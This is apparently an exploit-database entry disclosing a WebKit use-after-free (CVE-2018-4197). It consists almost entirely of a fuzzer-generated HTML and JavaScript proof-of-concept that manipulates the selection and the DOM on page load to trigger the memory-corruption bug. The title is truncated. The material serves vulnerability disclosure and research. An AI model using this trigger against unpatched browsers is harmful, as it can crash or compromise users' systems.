WebKit - 'WebCore::RenderTreeBuilder::removeAnonymousWrappersForInlineChildrenIfNeeded' Use-After-

<style>
::selection, input:focus, .class0, ul::first-letter { -webkit-column-count: 85; float: left; }
</style>
<script>
function jsfuzzer() {
var fuzzervars = {};
try { /* */ var00034 = document.getSelection(); } catch(e) { }
try { var00034.setPosition(htmlvar00003); var var00043 } catch(e) { }
try { /* newvar{var00104:Element} */ var var00104 = htmlvar00013; } catch(e) { }
try { /* newvar{var00111:HTMLSelectElement} */ var00111 = document.createElement("select"); } catch(e) { }
try { var00111.add(htmlvar00007); var00183 = var00034.focusNode; } catch(e) { }
try { htmlvar00013.align = "RIGHT"; } catch(e) { }
try { htmlvar00003.appendChild(var00104); } catch(e) { }
try { var00183.className = "htmlvar00004"; } catch(e) { }
try { var var00140 = window.getSelection(); } catch(e) { }
try { /* newvar{var00190:boolean} */ var00190 = document.execCommand("selectAll", false); } catch(e) { }
try { var00140.deleteFromDocument(); } catch(e) { }
}
</script>
<body onload=jsfuzzer()>
<menu id="htmlvar00002">TYu</menu>
<ul id="htmlvar00003" class="class0">R</ul>
<optgroup id="htmlvar00007">a</optgroup>
<table id="htmlvar00013"></table>

EKU-ID: 8010	CVE: 2018-4197	OSVDB-ID:
Author: Google Security Research	Published: 2018-09-26	Verified:
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WebKit - 'WebCore::RenderTreeBuilder::removeAnonymousWrappersForInlineChildrenIfNeeded' Use-After-

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